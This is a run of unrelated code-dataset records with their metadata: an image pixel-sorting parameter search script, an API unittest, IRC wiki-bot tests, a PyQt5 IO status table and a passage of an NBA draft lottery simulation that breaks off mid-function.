"file_size_in_byte": 2811, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "oauth2client.tools.argparser", "line_number": 21, "usage_type": "attribute"}, {"api_name": "oauth2client.tools", "line_number": 21, "usage_type": "name"}, {"api_name": "oauth2client.client.flow_from_clientsecrets", "line_number": 25, "usage_type": "call"}, {"api_name": "oauth2client.client", "line_number": 25, "usage_type": "name"}, {"api_name": "oauth2client.tools.message_if_missing", "line_number": 28, "usage_type": "call"}, {"api_name": "oauth2client.tools", "line_number": 28, "usage_type": "name"}, {"api_name": "oauth2client.file.Storage", "line_number": 33, "usage_type": "call"}, {"api_name": "oauth2client.file", "line_number": 33, "usage_type": "name"}, {"api_name": "oauth2client.tools.run_flow", "line_number": 36, "usage_type": "call"}, {"api_name": "oauth2client.tools", "line_number": 36, "usage_type": "name"}, {"api_name": "httplib2.Http", "line_number": 37, "usage_type": "call"}, {"api_name": "apiclient.discovery.build", "line_number": 40, "usage_type": "call"}]} {"seq_id": "355561394", "text": "from PIL import Image\nimport time\nimport numpy as np\nimport argparse\nimport random\nfrom progressbar import ProgressBar\nimport cv2\n\nimport utils\nimport interval_tools as tools\n\n##########################################\n\np = argparse.ArgumentParser(description=\"pixel mangle an image\")\np.add_argument(\"-ins\", \"--inputs\",\thelp=\"input]\", required=True)\n\n__args = p.parse_args()\n\nimage_input_paths = __args.inputs\n\nprint (\"Input: \" + str(__args.inputs))\n\n \n##########################################\n#random thresholds\n\n\nthresholds_dict = {1 : [[0.1 , 0.3 ], [0.7 , 0.9 ]],\n\t\t\t 2 : [[0.2 , 0.6 ], [0.4 , 0.8 ]],\n\t\t\t 3 : [[0.05, 0.42], [0.75, 0.9 ]],\n\t\t\t 4 : [[0.25, 0.38], [0.55, 0.95]],\n\t\t\t 5 : [[0.4 , 0.6 ], [0.05, 0.8 ]],\n\t\t\t 6 : [[0.5 , 0.7 ], [0.3 , 0.9 ]]}\n\ndef rndvar(value):\n\n\tvalue += random.uniform(0.1, -0.1)\n\tif value < 0:\n\t\treturn 0\n\telif value > 1:\n\t\treturn 1\n\telse:\n\t\treturn value\n\ndef rand_thresholds():\n \n\tthr = thresholds_dict[random.randint(1, 6)]\n\n\tt1 = rndvar(thr[0][0])\n\tt2 = rndvar(thr[1][0])\n\tt3 = 0\n\tu1 = rndvar(thr[0][1])\n\tu2 = rndvar(thr[1][1])\n\tu3 = 1\n\n\tthresholds = [t1, u1, t2, u2, t3, u3]\n\t\n\treturn thresholds\n \n \n##########################################\n# random interval functions\n\nfunctions = {1 : \"v\",\n\t\t\t 2 : \"h\",\n\t\t\t 3 : \"s\",\n\t\t\t 4 : \"l\",\n\t\t\t 5 : \"y\",\n\t\t\t 6 : \"i\",\n\t\t\t 7 : \"q\",\n\t\t\t 8 : \"max_rgb\",\n\t\t\t 9 : \"min_rgb\",\n\t\t\t 10 : \"max_hsv\",\n\t\t\t 11 : \"min_hsv\",\n\t\t\t 12 : \"max_yiq\",\n\t\t\t 13 : \"min_yiq\",\n\t\t\t 14 : \"r\",\n\t\t\t 15 : \"g\",\n\t\t\t 16 : \"b\"}\n \ndef rand_intfunc():\n\ti1 = utils.read_pixel_function(functions[random.randint(1, 16)])\n\ti2 = utils.read_pixel_function(functions[random.randint(1, 16)])\n\ti3 = utils.read_pixel_function(functions[random.randint(1, 16)])\n\t\n\tint_funcs = [i1, i2, i3]\n\t\n\treturn int_funcs\n\n\n##########################################\n\n\ndef get_cmd(param_string):\n\tp_string = param_string.split('__')\n\tthrshs = p_string[0].split('-')\n\tfuncs = p_string[1].split('-')\n\t\n\thead = 'python gcp_newsort.py -ins '\n\tinp = 'sparamtest.png'\n\t\n\tthreshold_string = f' -t {thrshs[0]} -tt {thrshs[2]} -ttt {thrshs[4]} -u {thrshs[1]} -uu {thrshs[3]} -uuu {thrshs[5]} '\n\tw_int_f = f' -i {funcs[0]} -ii {funcs[1]} -iii {funcs[2]} '\n\t\n\t\n\tcmd = f'%s%s%s%s\\n' % (head, inp, w_int_f, threshold_string)\n\tprint(cmd)\n\t\n\treturn cmd\n\t\n##########################################\n\n\ndef evaluate(count_dict):\n\t\n\ttriple = (count_dict[1],count_dict[2],count_dict[3])\n\tdiff12 = max(triple[0],triple[1])-min(triple[0],triple[1])\n\tdiff23 = max(triple[1],triple[2])-min(triple[1],triple[2])\n\tdiff31 = max(triple[2],triple[0])-min(triple[2],triple[0])\n\t\n\td_value = diff12 + diff23 + diff31\n\tprint(d_value)\n\t\n\treturn d_value\n \n\t\n##########################################\n \n \ndef main(image_input_paths):\n\n\tinput_img = Image.open(image_input_paths)\n\timg_x = input_img.size[1]\n\timg_y = input_img.size[0]\n\tinput_img = input_img.convert('RGB')\n\t\n\tbands = input_img.getbands()\n\tbl = len(bands)\n\t\n\tpixels = np.array(input_img.getdata(), np.uint8).reshape(input_img.size[1], input_img.size[0], bl)\n\t\n\tsdim = int(min(input_img.size)/(max(input_img.size)/100))\n\tldim = 100\n\t\n\tif input_img.size[0] > input_img.size[0]:\n\t\tnew_dim = tuple([ldim, sdim])\n\telse:\n\t\tnew_dim = tuple([sdim, ldim])\n\t\n\tpixels = cv2.resize(pixels, new_dim)\n\t\n\tsiz = input_img.size\n\n\tparam_sets = []\n\tparam_eval = []\n\n\tfor n in range(300): # # # # # # # # # # # # # # # # # # # # # # # # # # # # Poolgröße\n\t\tthresholds = rand_thresholds()\n\t\tint_funcs = rand_intfunc()\n\t\n\t\tinterval_array = tools.find_intervals(pixels, thresholds, int_funcs)\n\t\n\t\tunique, counts = np.unique(interval_array, return_counts=True)\n\t\tcount_dict = dict(zip(unique, counts))\n\t\n\t\tprint(unique)\n\n\n\t\tif len(unique) < 3:\n\t\t\tpass\n\t\t\n\t\telse:\n\t\t\tvalue = evaluate(count_dict)\n\t\n\t\t\tparam_sets.append(\"%s-%s-%s-%s-0-1__%s-%s-%s\" % (thresholds[0],thresholds[1],thresholds[2],thresholds[3],int_funcs[0],int_funcs[1],int_funcs[2]))\n\t\t\tparam_eval.append(value)\n\t\t\t\n\t\tcount_dict.clear()\n \n\tparam_pairs = list(zip(param_sets, param_eval))\n\tparam_pairs.sort(key=lambda pair: pair[1], reverse=True)\n\t\n\treturn param_pairs\n\t\n\t#for l in range(0, 4):\n\t#\tprint(get_cmd(param_pairs[l][0]), '+\\n')\n\t#\t\n\t#for l in range(-1, -5):\n\t#\tprint(get_cmd(param_pairs[l][0]), '/\\n')\n #\n\t#for l in range(round(len(param_pairs)/2-2), round(len(param_pairs)/2+3)):\n\t#\tprint(get_cmd(param_pairs[l][0]), '-\\n')\n\nif __name__ == \"__main__\":\n\tpaths = image_input_paths\n\terg = main(paths)\n\t\n\twith open('erg.txt', 'w') as f:\n\t\tfor i in erg:\n\t\t\tf.write(get_cmd(str(i[0])) + '\\n')\n\t\n\n\n", "sub_path": "find_params-0.2.py", "file_name": "find_params-0.2.py", "file_ext": "py", "file_size_in_byte": 4614, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 14, "usage_type": "call"}, {"api_name": "random.uniform", "line_number": 37, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 47, "usage_type": "call"}, {"api_name": "utils.read_pixel_function", "line_number": 82, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 82, "usage_type": "call"}, {"api_name": "utils.read_pixel_function", "line_number": 83, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 83, "usage_type": "call"}, {"api_name": "utils.read_pixel_function", "line_number": 84, "usage_type": "call"}, {"api_name": "random.randint", "line_number": 84, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 132, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 132, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 140, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 140, "usage_type": "attribute"}, {"api_name": "cv2.resize", "line_number": 150, "usage_type": "call"}, {"api_name": "interval_tools.find_intervals", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 163, "usage_type": "call"}]} {"seq_id": "403596045", "text": "import unittest,os,sys,json\n\npath = os.path.join(os.path.dirname(os.path.dirname(os.path.dirname(\n os.path.dirname(os.path.abspath(__file__))))))\nsys.path.append(path)\nfrom config.config_test import Conf\nfrom common.http_requests import HttpRequests\nfrom common import logging_test\nfrom common.mysql_data import Mysql_connet\nfrom common.retry import Retry\nfrom common.doc_value import doc_parameter\nuri = '/device/getDeviceAlarms'\n@Retry\nclass Test_Add_Task(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls) -> None:\n cls.url = Conf.TEST_APP_URL.value\n cls.http = HttpRequests(cls.url)\n cls.mysql = Mysql_connet('device')\n @doc_parameter(Conf.TEST_URL.value,uri)\n def test_add_task_success(self):\n '''获取设备某种报警类型下的报警信息用例：{}{}'''\n payload = {\n \"alarmType\": 0,\n \"alarmTypes\": [\n 0\n ],\n \"status\": 0,\n \"terminalNo\": self.mysql.terminal_no\n }\n payload = json.dumps(payload)\n\n response = Test_Add_Task.http.post(\n uri, data=payload)\n self.assertEqual(200, response.status_code, '返回非200')\n self.assertEqual(str(0), str(response.json()['code']), '获取设备某种报警类型下的报警信息失败')\n logging_test.log_test()\n logging_test.logging.info(Conf.TEST_URL.value + uri + '-接口返回:' + response.text)\n\n\nif __name__ == '__main__':\n unittest.main()\n", "sub_path": "test_case/app_test_case/device_alarm_controller/test_getDeviceAlarms.py", "file_name": "test_getDeviceAlarms.py", "file_ext": "py", "file_size_in_byte": 1474, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.join", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path", "line_number": 3, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 3, "usage_type": "call"}, {"api_name": "os.path.dirname", "line_number": 4, "usage_type": "call"}, {"api_name": "os.path", "line_number": 4, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 4, "usage_type": "call"}, {"api_name": "sys.path.append", "line_number": 5, "usage_type": "call"}, {"api_name": "sys.path", "line_number": 5, "usage_type": "attribute"}, {"api_name": "unittest.TestCase", "line_number": 14, "usage_type": "attribute"}, {"api_name": "config.config_test.Conf.TEST_APP_URL", "line_number": 18, "usage_type": "attribute"}, {"api_name": "config.config_test.Conf", "line_number": 18, "usage_type": "name"}, {"api_name": "common.http_requests.HttpRequests", "line_number": 19, "usage_type": "call"}, {"api_name": "common.mysql_data.Mysql_connet", "line_number": 20, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 32, "usage_type": "call"}, {"api_name": "common.logging_test.log_test", "line_number": 38, "usage_type": "call"}, {"api_name": "common.logging_test", "line_number": 38, "usage_type": "name"}, {"api_name": "common.logging_test.logging.info", "line_number": 39, "usage_type": "call"}, {"api_name": "common.logging_test.logging", "line_number": 39, "usage_type": "attribute"}, {"api_name": "common.logging_test", "line_number": 39, "usage_type": "name"}, {"api_name": "config.config_test.Conf.TEST_URL", "line_number": 39, "usage_type": "attribute"}, {"api_name": "config.config_test.Conf", "line_number": 39, "usage_type": "name"}, {"api_name": "common.doc_value.doc_parameter", "line_number": 21, "usage_type": "call"}, {"api_name": "config.config_test.Conf.TEST_URL", "line_number": 21, "usage_type": "attribute"}, {"api_name": "config.config_test.Conf", "line_number": 21, "usage_type": "name"}, {"api_name": "common.retry.Retry", "line_number": 13, "usage_type": "name"}, {"api_name": "unittest.main", "line_number": 43, "usage_type": "call"}]} {"seq_id": "532800427", "text": "\"\"\"\ntest_vtluugwiki.py - tests for the VTLUUG wiki module\nauthor: mutantmonkey <mutantmonkey@mutantmonkey.in>\n\"\"\"\nimport re\nimport unittest\nfrom mock import MagicMock\nfrom modules import vtluugwiki\nfrom web import catch_timeout\n\n\nclass TestVtluugwiki(unittest.TestCase):\n\n def setUp(self):\n self.phenny = MagicMock()\n self.input = MagicMock()\n\n @catch_timeout\n def test_vtluug(self):\n self.input.groups.return_value = ['', \"VT-Wireless\"]\n vtluugwiki.vtluug(self.phenny, self.input)\n out = self.phenny.say.call_args[0][0]\n m = re.search(r'https://vtluug[.]org/wiki/VT-Wireless',\n out, flags=re.UNICODE)\n self.assertTrue(m)\n\n @catch_timeout\n def test_vtluug_invalid(self):\n term = \"EAP-TLS#netcfg\"\n self.input.groups.return_value = ['', term]\n vtluugwiki.vtluug(self.phenny, self.input)\n self.phenny.say.assert_called_once_with( \"Can't find anything in \"\\\n \"the VTLUUG Wiki for \\\"{0}\\\".\".format(term))\n\n @catch_timeout\n def test_vtluug_none(self):\n term = \"Ajgoajh\"\n self.input.groups.return_value = ['', term]\n vtluugwiki.vtluug(self.phenny, self.input)\n self.phenny.say.assert_called_once_with( \"Can't find anything in \"\\\n \"the VTLUUG Wiki for \\\"{0}\\\".\".format(term))\n", "sub_path": "modules/test/test_vtluugwiki.py", "file_name": "test_vtluugwiki.py", "file_ext": "py", "file_size_in_byte": 1339, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "unittest.TestCase", "line_number": 12, "usage_type": "attribute"}, {"api_name": "mock.MagicMock", "line_number": 15, "usage_type": "call"}, {"api_name": "mock.MagicMock", "line_number": 16, "usage_type": "call"}, {"api_name": "modules.vtluugwiki.vtluug", "line_number": 21, "usage_type": "call"}, {"api_name": "modules.vtluugwiki", "line_number": 21, "usage_type": "name"}, {"api_name": "re.search", "line_number": 23, "usage_type": "call"}, {"api_name": "re.UNICODE", "line_number": 24, "usage_type": "attribute"}, {"api_name": "web.catch_timeout", "line_number": 18, "usage_type": "name"}, {"api_name": "modules.vtluugwiki.vtluug", "line_number": 31, "usage_type": "call"}, {"api_name": "modules.vtluugwiki", "line_number": 31, "usage_type": "name"}, {"api_name": "web.catch_timeout", "line_number": 27, "usage_type": "name"}, {"api_name": "modules.vtluugwiki.vtluug", "line_number": 39, "usage_type": "call"}, {"api_name": "modules.vtluugwiki", "line_number": 39, "usage_type": "name"}, {"api_name": "web.catch_timeout", "line_number": 35, "usage_type": "name"}]} {"seq_id": "580008154", "text": "#coding=utf-8\n#lizhenwei\t\t2017-08-04\t\tcreate\n\nimport os,sys\n\nfrom PyQt5.QtCore import (Qt,pyqtSignal,pyqtSlot,QModelIndex)\nfrom PyQt5.QtGui import (QBrush,QStandardItemModel,QStandardItem,QMouseEvent)\nfrom PyQt5.QtWidgets import (QApplication,QTableView,QItemDelegate,QAbstractItemView)\n\nclass stateDelegate(QItemDelegate):\n\t'状态item托管'\n\tsgReverseState = pyqtSignal(QModelIndex)\n\t\n\tdef __init__(self,colno=2,enClick=False):\n\t\tsuper(stateDelegate,self).__init__()\n\t\t\n\t\tself.colno = colno\n\t\tself.enClick = enClick\n\t\t\n\tdef paint(self, painter, option, index):\n\t\tif index.column() == self.colno:\n\t\t\tval = index.data()\n\t\t\td = min(option.rect.width(),option.rect.height())\n\t\t\tpainter.save()\n\t\t\tif 0 == val:\n\t\t\t\t# 0为绿色\n\t\t\t\tpainter.setBrush(QBrush(Qt.green))\n\t\t\telif 1 == val:\n\t\t\t\tpainter.setBrush(QBrush(Qt.red))\n\t\t\tpainter.setPen(Qt.NoPen);\n\t\t\tpainter.drawEllipse(option.rect.center(),d>>1,d>>1);\n\t\t\tpainter.restore();\t\n\t\t\n\t\telse:\n\t\t\tsuper(stateDelegate,self).paint(painter,option,index)\n\t\t\n\tdef editorEvent(self,event, model, option, index):\n\t\tmsEvent = QMouseEvent(event)\n\t\tif (msEvent.type() == msEvent.MouseButtonRelease) and option.rect.contains(msEvent.x(),msEvent.y()):\n\t\t\tif self.enClick:\n\t\t\t\tself.sgReverseState.emit(index)\n \n\t\treturn super(stateDelegate,self).editorEvent(event,model,option,index);\n\t\n\t\n\t\nclass ioTableView(QTableView):\n\t\n\t# 设置bit状态, addr,state\n\tsgSetBitState = pyqtSignal(int,int)\n\t\n\tdef __init__(self,mode):\n\t\t'mode: 0输入，1输出'\n\t\tsuper(ioTableView,self).__init__()\n\t\tself.mode = mode\n\t\tself.initUI()\n\n\tdef initUI(self):\n\t\tself.itemModel = QStandardItemModel()\n\t\t\n\t\theaders = (\"地址\",\"名称\",\"状态\")\n\t\tself.itemModel.setHorizontalHeaderLabels(headers)\n\t\t\n\t\tself.stateDelegate = stateDelegate(2, self.mode==1)\n\t\t\n\t\tself.setModel(self.itemModel)\n\t\tself.setItemDelegateForColumn(2,self.stateDelegate)\n\t\t\n\t\tstateSize = 36\n\t\tself.verticalHeader().setDefaultSectionSize(stateSize*1.2)\n\t\tself.verticalHeader().hide()\n\t\tself.setColumnWidth(2,stateSize)\n\t\tself.setEditTriggers(QAbstractItemView.NoEditTriggers)\n\t\tself.setSelectionMode(QAbstractItemView.NoSelection)\n\t\t\n\t\tself.stateDelegate.sgReverseState.connect(self.onReverseState)\n\t\t\n\t\t# self.setSortingEnabled(True)\n\t\t# self.sortByColumn(0,Qt.AscendingOrder)\n\t\t\n\tdef loadIOCfgDict(self,iodict):\n\t\t'加载io列表'\n\t\tfor idname,cfg in iodict.items():\n\t\t\taddrItem = QStandardItem()\n\t\t\taddrItem.setData(cfg[\"addr\"],Qt.EditRole)\n\t\t\tnameItem = QStandardItem(cfg[\"name\"])\n\t\t\tstateItem = QStandardItem()\n\t\t\tstateItem.setData(cfg[\"state\"],Qt.EditRole)\n\t\t\tself.itemModel.appendRow([addrItem,nameItem,stateItem])\n\t\tself.sortByColumn(0,Qt.AscendingOrder)\n\t\t\n\t\n\t@pyqtSlot(QModelIndex)\t\n\tdef onReverseState(self,idx):\n\t\t'翻转电平'\n\t\tpreVal = idx.data()\n\t\tcurVal = preVal^1\n\t\tself.itemModel.setData(idx,curVal,Qt.EditRole)\n\t\taddr = self.itemModel.index(idx.row(),0).data()\n\t\tself.sgSetBitState.emit(addr,curVal)\n\n\t@pyqtSlot(int,int)\n\tdef onSetBitState(self,addr,state):\n\t\tfor i in range(self.itemModel.rowCount()):\n\t\t\ttaddr = self.itemModel.item(i,0).data(Qt.EditRole)\n\t\t\tif addr == taddr:\n\t\t\t\tself.itemModel.item(i,2).setData(state,Qt.EditRole)\n\t\t\t\tbreak\n\t\n\t\ndef test():\t\n\tapp = QApplication(sys.argv)\n\tinview = ioTableView(1)\n\tin0 = {\"addr\":0,\"name\":\"test0\",\"state\":0}\n\tin1 = {\"addr\":1,\"name\":\"test1\",\"state\":1}\n\tiodict = {\"in0\":in0, \"in1\":in1}\n\tinview.loadIOCfgDict(iodict)\n\tinview.show()\n\tsys.exit(app.exec_())\n\t\nif __name__ == '__main__':\n\ttest()", "sub_path": "hucais/trunk/driver/motion/ioView.py", "file_name": "ioView.py", "file_ext": "py", "file_size_in_byte": 3444, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "PyQt5.QtWidgets.QItemDelegate", "line_number": 10, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 12, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QModelIndex", "line_number": 12, "usage_type": "argument"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 27, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.green", "line_number": 27, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 27, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QBrush", "line_number": 29, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.red", "line_number": 29, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 29, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.NoPen", "line_number": 30, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 30, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QMouseEvent", "line_number": 38, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QTableView", "line_number": 47, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSignal", "line_number": 50, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QStandardItemModel", "line_number": 59, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QAbstractItemView.NoEditTriggers", "line_number": 73, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAbstractItemView", "line_number": 73, "usage_type": "name"}, {"api_name": "PyQt5.QtWidgets.QAbstractItemView.NoSelection", "line_number": 74, "usage_type": "attribute"}, {"api_name": "PyQt5.QtWidgets.QAbstractItemView", "line_number": 74, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 84, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 85, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 85, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 86, "usage_type": "call"}, {"api_name": "PyQt5.QtGui.QStandardItem", "line_number": 87, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 88, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 88, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.AscendingOrder", "line_number": 90, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 90, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 98, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 98, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 93, "usage_type": "call"}, {"api_name": "PyQt5.QtCore.QModelIndex", "line_number": 93, "usage_type": "argument"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 105, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 105, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.Qt.EditRole", "line_number": 107, "usage_type": "attribute"}, {"api_name": "PyQt5.QtCore.Qt", "line_number": 107, "usage_type": "name"}, {"api_name": "PyQt5.QtCore.pyqtSlot", "line_number": 102, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 112, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 112, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 119, "usage_type": "call"}]} {"seq_id": "350365770", "text": "# project setup\n\nimport numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom itertools import combinations, permutations\nfrom collections import Counter\nimport random\nimport time\nfrom numpy.random import multinomial\n\n\ndef combinations_creator(simulation_type):\n \"\"\"\n We generate a list of combinations of 14 choose 4. Each item in this list represents a possible combination\n that can be drawn on lottery night. one combination is left unassigned to a team, this combination is\n 11-12-13-14.\n :param simulation_type: a user inputted string expressing what type of simulation this is\n :return: a list of ball combinations and one tuple that is the excluded combination\n\n >>> combos, discarded = combinations_creator('r')\n >>> len(discarded) == 4\n True\n\n >>> combos, discarded = combinations_creator('r')\n >>> len(combos) == 1001\n True\n\n >>> combos, discarded = combinations_creator('w')\n >>> len(combos) == 1001\n True\n\n >>> combos, discarded = combinations_creator('w')\n >>> len(discarded) == 4\n True\n \"\"\"\n if simulation_type == 'r' or simulation_type == 'w' or simulation_type == 'a':\n ball_combinations = combinations([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14], 4)\n ball_combinations = list(ball_combinations)\n excluded_combination = (11, 12, 13, 14)\n return ball_combinations, excluded_combination\n\n\ndef odds_creator(simulation_type, iteration_counter, playoff_team, wild_card_odds):\n \"\"\"\n Each team is given their respective odds of obtaining the #1 pick\n based on their position in standings/type of simulation. If it is a regular simulation, the\n regular odds are given, if it is a wild-card simulation, there is\n another team added with a random normal variable that determines their odds, and for a multinomial simulation,\n the odds are represented as an array for each pick for each team.\n :param simulation_type: a user inputted string expressing what type of simulation this is\n :param iteration_counter: represents which iteration of the simulation the program is on\n :param playoff_team: represents the wild-card playoff team\n :param wild_card_odds: represents the odds of the wild-card playoff team\n :return: a dictionary with key/value pairs being each team and their odds, and a playoff team and their odds\n\n >>> odds, playoff_selected_team, playoff_odds = odds_creator('r', 1, None, None)\n >>> len(odds) == 14\n True\n\n >>> odds, playoff_selected_team, playoff_odds = odds_creator('m', 1, None, None)\n >>> len(odds['Houston Rockets']) == 14\n True\n\n >>> odds, playoff_selected_team, playoff_odds = odds_creator('a', 100, None, None)\n >>> len(odds) == 14\n True\n \"\"\"\n if simulation_type == 'r' or simulation_type == 'w' or simulation_type == 'a':\n rockets_odds = 0.14\n timberwolves_odds = 0.14\n pistons_odds = 0.14\n magic_odds = 0.125\n thunder_odds = 0.105\n cavaliers_odds = 0.09\n kings_odds = 0.075\n raptors_odds = 0.06\n bulls_odds = 0.045\n wizards_odds = 0.03\n pelicans_odds = 0.02\n pacers_odds = 0.015\n warriors_odds = 0.01\n spurs_odds = 0.005\n\n if simulation_type == 'w':\n if iteration_counter == 1:\n mu, sigma = 0.07, 0.035\n wild_card_odds = np.round(np.random.normal(mu, sigma, 1),\n 3) # using a normal dist. to determine odds of wild card team\n while wild_card_odds <= 0 or wild_card_odds >= 0.14: # we should not have a wild card team with non-positive odds or odds greater than the top possible odds\n wild_card_odds = np.round(np.random.normal(mu, sigma, 1), 3)\n randomizer = random.randint(1, 5)\n if randomizer == 1:\n rockets_odds -= wild_card_odds\n elif randomizer == 2:\n timberwolves_odds -= wild_card_odds\n elif randomizer == 3:\n pistons_odds -= wild_card_odds\n elif randomizer == 4:\n magic_odds -= wild_card_odds\n else:\n thunder_odds -= wild_card_odds\n\n elif simulation_type == 'm':\n rockets_odds = [0.14, 0.134, 0.127, 0.12, 0.479, 0, 0, 0, 0, 0, 0, 0, 0,\n 0] # from left to right, these odds represent each team's chances of obtaining picks 1-14\n timberwolves_odds = [0.14, 0.134, 0.127, 0.120, 0.278, 0.20, 0, 0, 0, 0, 0, 0, 0, 0]\n pistons_odds = [0.14, 0.134, 0.127, 0.120, 0.148, 0.260, 0.07, 0, 0, 0, 0, 0, 0, 0]\n magic_odds = [0.125, 0.122, 0.119, 0.115, 0.072, 0.257, 0.167, 0.022, 0, 0, 0, 0, 0, 0]\n thunder_odds = [0.105, 0.105, 0.106, 0.105, 0.022, 0.196, 0.267, 0.087, 0.006, 0, 0, 0, 0, 0]\n cavaliers_odds = [0.09, 0.092, 0.094, 0.096, 0, 0.086, 0.297, 0.206, 0.037, 0.002, 0, 0, 0, 0]\n kings_odds = [0.075, 0.078, 0.081, 0.085, 0, 0, 0.197, 0.341, 0.129, 0.013, 0, 0, 0, 0]\n raptors_odds = [0.06, 0.063, 0.067, 0.072, 0, 0, 0, 0.345, 0.321, 0.067, 0.004, 0, 0, 0]\n bulls_odds = [0.045, 0.048, 0.052, 0.057, 0, 0, 0, 0, 0.507, 0.259, 0.03, 0.001, 0, 0]\n wizards_odds = [0.03, 0.033, 0.036, 0.04, 0, 0, 0, 0, 0, 0.659, 0.190, 0.012, 0, 0]\n pelicans_odds = [0.02, 0.022, 0.024, 0.028, 0, 0, 0, 0, 0, 0, 0.776, 0.126, 0.004, 0]\n pacers_odds = [0.015, 0.017, 0.019, 0.021, 0, 0, 0, 0, 0, 0, 0, 0.861, 0.067, 0.001]\n warriors_odds = [0.01, 0.011, 0.012, 0.014, 0, 0, 0, 0, 0, 0, 0, 0, 0.929, 0.023]\n spurs_odds = [0.005, 0.006, 0.006, 0.007, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0.976]\n\n odds_dictionary = {'Houston Rockets': rockets_odds, 'Minnesota Timberwolves': timberwolves_odds,\n 'Detroit Pistons': pistons_odds,\n 'Orlando Magic': magic_odds, 'Oklahoma City Thunder': thunder_odds,\n 'Cleveland Cavaliers': cavaliers_odds,\n 'Sacramento Kings': kings_odds, 'Toronto Raptors': raptors_odds, 'Chicago Bulls': bulls_odds,\n 'Washington Wizards': wizards_odds,\n 'New Orleans Pelicans': pelicans_odds, 'Indiana Pacers': pacers_odds,\n 'Golden State Warriors': warriors_odds, 'San Antonio Spurs': spurs_odds}\n\n if simulation_type == 'w':\n if iteration_counter == 1:\n playoff_teams = ['Charlotte Hornets', 'Boston Celtics', 'Miami Heat', 'Atlanta Hawks', 'New York Knicks',\n 'Milwaukee Bucks', 'Brooklyn Nets', 'Philadelphia 76ers',\n 'Utah Jazz', 'Pheonix Suns', 'Los Angeles Clippers', 'Denver Nuggets', 'Dallas Mavericks',\n 'Portland Trail Blazers', 'Los Angeles Lakers',\n 'Memphis Grizzlies']\n playoff_team_selector = random.randint(0, len(playoff_teams) - 1)\n playoff_team = playoff_teams[playoff_team_selector]\n print('The Wild Card Playoff Team selected to participate in the NBA Draft Lottery is the:', playoff_team)\n print('The', playoff_team, 'will enter the NBA Draft Lottery with:', str(wild_card_odds),\n 'odds of obtaining the #1 pick')\n\n odds_dictionary[playoff_team] = wild_card_odds\n\n return odds_dictionary, playoff_team, wild_card_odds\n\n\ndef odds_assigner(ping_pong_combinations, discarded_combination, odds_dict):\n \"\"\"\n This function assigns a certain number of combinations of ping pong balls to each team based on their odds.\n We temporarily remove the unassigned ping pong ball from the list of ping pong ball combinations and\n re-assign it back after. Then, we generate 1000 random numbers from 0 through 1000. Finally, we assign each\n team their odds from this number\n :param ping_pong_combinations: an array containing all the combinations of 14 choose 4 ping pong balls\n :param discarded_combination: the one combination that is not assigned to a team\n :param odds_dict: A dictionary that maps each their to their respective odds\n :return: a resulting dictionary that maps each team to their combinations\n \"\"\"\n 